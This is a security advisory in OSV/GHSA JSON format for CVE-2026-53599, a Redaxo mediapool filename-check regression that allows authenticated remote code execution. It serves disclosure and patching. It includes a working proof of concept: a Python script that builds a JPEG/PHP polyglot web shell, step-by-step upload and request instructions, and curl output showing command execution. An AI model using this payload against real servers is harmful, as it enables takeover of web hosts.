CVE-2026-53599: Redaxo/source Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-98pp-vccm-qm25",
  "modified" : "2026-07-31T19:43:51Z",
  "published" : "2026-07-31T19:43:51Z",
  "aliases" : [ "CVE-2026-53599" ],
  "summary" : "Redaxo has a Mediapool isAllowedExtension bypass via multi-segment filename that leads to authenticated RCE on Apache mod_php multi-extension handlers",
  "details" : "## Summary\n \n`rex_mediapool::isAllowedExtension` in `redaxo/src/addons/mediapool/lib/mediapool.php` accepts filenames that contain a blocked extension as a non-terminal segment of a longer extension chain, for example `shell.php.any.jpg`. The check only catches the blocked extension when it appears at the end of the filename or immediately before the final extension. An authenticated backend user with mediapool upload permission can upload a JPEG/PHP polyglot named `shell.php.any.jpg` and, on web servers whose PHP handler matches `.php` as any segment (mod_mime `AddHandler`-style, or any `FilesMatch` regex without an end anchor), request the file from the public `media/` directory to execute arbitrary PHP as the web-server user.\n \nThe vulnerable check is a **regression** introduced in commit [`9d008697d`](https://github.com/redaxo/core/commit/9d008697dcec6bf5a972bdc081fadb68e9dab7fa) (PR #6213, Feb 7 2025), which weakened a previously correct `str_contains` check into a pair of `str_ends_with` checks. The earlier check, in place since 2018 specifically to defend against double-extension attacks, would have blocked this payload.\n \nThe regression has shipped in every release from 5.18.2 through 5.21.0.\n\n## Details\n## Root cause\n \nAt the audited commit `6e0de42`, `isAllowedExtension` performs three checks against the blocked-extension list:\n \n```php\n// redaxo/src/addons/mediapool/lib/mediapool.php (104–130) @ 6e0de42\npublic static function isAllowedExtension(string $filename, array $args = []): bool\n{\n    $fileExt = mb_strtolower(rex_file::extension($filename));\n \n    if ('' === $filename || str_contains($fileExt, ' ') || '' === $fileExt) {\n        return false;\n    }\n \n    if (str_starts_with($fileExt, 'php')) {\n        return false;\n    }\n \n    $blockedExtensions = self::getBlockedExtensions();\n    foreach ($blockedExtensions as $blockedExtension) {\n        // $blockedExtensions extensions are not allowed within filenames, to prevent double extension vulnerabilities:\n        // -> some webspaces execute files named file.php.txt as php\n        if (str_ends_with($filename, '.' . $blockedExtension)\n            || str_ends_with($filename, '.' . $blockedExtension . '.' . $fileExt)\n        ) {\n            return false;\n        }\n    }\n \n    $allowedExtensions = self::getAllowedExtensions($args);\n    return !count($allowedExtensions) || in_array($fileExt, $allowedExtensions);\n}\n```\n \nFor `shell.php.any.jpg`:\n \n1. `$fileExt` is `jpg`, so `str_starts_with('jpg', 'php')` is false.\n2. The loop checks two suffix shapes:\n   - `str_ends_with('shell.php.any.jpg', '.php')` — false.\n   - `str_ends_with('shell.php.any.jpg', '.php.jpg')` — false, because the actual chain is `.php.any.jpg`.\n3. Default `$allowedExtensions` is empty (no widget `types` arg on the main mediapool upload page), so the function returns `true`.\nThe defensive comment on lines 119–120 explicitly names the threat model the maintainers are guarding against — *\"some webspaces execute files named file.php.txt as php\"*. The current check covers that exact two-segment shape but fails for any chain of length three or more in which a blocked extension is not the final segment.\n \n### Regression history\n \nPrior to commit [`9d008697d`](https://github.com/redaxo/core/commit/9d008697dcec6bf5a972bdc081fadb68e9dab7fa) (PR #6213, Feb 7 2025) the check was:\n \n```php\nif (str_contains($filename, '.' . $blockedExtension)) {\n    return false;\n}\n```\n \n`str_contains('shell.php.any.jpg', '.php')` is true, so the prior check would have correctly rejected this payload. The substring form had a false-positive problem with names like `foo.json` (which contains the substring `.js`), and the rewrite removed the false positive but also removed the multi-extension protection. The three regression tests added in that commit (`foo.js.txt`, `js_datei.txt`, `foo.json`) do not include a length-three-or-greater chain with a blocked non-terminal segment, so the security regression was not caught by the test suite.\n \nThe same weak check is invoked a second time from `rex_mediapool::filename()` during the normalization step, so the bypass also passes the renaming guard. `rex_string::normalize($mediaName, '_', '.-@')` preserves `.`, `-`, `@` and lowercases the rest, so `shell.php.any.jpg` survives normalization unchanged.\n\n## PoC\nReproduced end-to-end on Apache 2.4.58 + PHP 8.3.6 on Ubuntu 24.04, using the exact validator code from commit `6e0de42` and a JPEG/PHP polyglot served from the same docroot under two different Apache PHP-handler configurations.\n \n### Payload\n \nMinimal JPEG/PHP polyglot, 188 bytes, MIME-classified as `image/jpeg`:\n \n```python\n# build_polyglot.py\njpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])\nphp_payload = b'<?php echo \"=== PWNED ===\\n\"; echo \"file: \" . __FILE__ . \"\\n\"; echo \"cmd output:\\n\"; $cmd = isset($_GET[chr(120)]) ? $_GET[chr(120)] : \"id\"; echo shell_exec($cmd); ?>'\njpeg_tail = bytes([0xff,0xd9])\nopen('shell.php.any.jpg','wb').write(jpeg_header + php_payload + jpeg_tail)\n```\n\n```\n$ file --mime-type shell.php.any.jpg\nshell.php.any.jpg: image/jpeg\n```\n \n### Validator output\n\nExpected vulnerable deployment flow:\n\n1. Log in as a backend user with media upload permission.\n2. Upload the payload as `shell.php.any.jpg`.\n3. REDAXO accepts the final `jpg` extension and `image/jpeg` MIME type, and stores `media/shell.php.any.jpg`.\n4. Request `https://victim.example/media/shell.php.any.jpg?x=id`.\n5. On Apache/mod_php-style multi-extension handler mappings, PHP code in the uploaded file executes. \n\nRunning the exact `isAllowedExtension` logic from commit `6e0de42` against the default `blocked_extensions` list from `redaxo/src/addons/mediapool/package.yml`:\n \n```\nisAllowedExtension(\"shell.php.any.jpg\") = TRUE — UPLOAD ACCEPTED\n```\n \n### HTTP execution test\n \nThe same file was placed in two Apache vhosts.\n \n**Vhost A — current Ubuntu/Debian default `libapache2-mod-php8.3` config** (`<FilesMatch \".+\\.ph(?:ar|p|tml)$\">`, `$` anchor):\n \n```\n$ curl -sS -D - -o body \"http://127.0.0.1:8081/shell.php.any.jpg?x=id\"\nHTTP/1.1 200 OK\nContent-Type: image/jpeg\n$ file body\nbody: JPEG image data, JFIF standard 1.01\n```\n \nFile served as a static JPEG. **Not exploitable** on this configuration.\n \n**Vhost B — non-anchored handler match** (`<FilesMatch \"\\.ph(?:ar|p|tml)(\\.|$)\">`, equivalent to `AddHandler application/x-httpd-php .php` behavior under mod_mime):\n \n```\n$ curl -sS \"http://127.0.0.1:8082/shell.php.any.jpg?x=id\"\n=== PWNED ===\nfile: /home/riodrwn/sandbox/docroot/shell.php.any.jpg\ncmd output:\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n \nPHP executes as `www-data`. **RCE confirmed.**\n\n### Impact\nA backend user holding only the `media[upload]` permission — the permission that the standard editor role carries — gains arbitrary PHP code execution as the web-server user on every REDAXO deployment whose Apache configuration maps PHP via a multi-extension handler.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "redaxo/source"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.18.2"
      }, {
        "fixed" : "5.21.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/security/advisories/GHSA-98pp-vccm-qm25"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/pull/6538"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/commit/462e36896bb65d292ba22d711044c23c9cfb0340"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/redaxo/core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/releases/tag/5.21.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T19:43:51Z",
    "nvd_published_at" : null
  }
}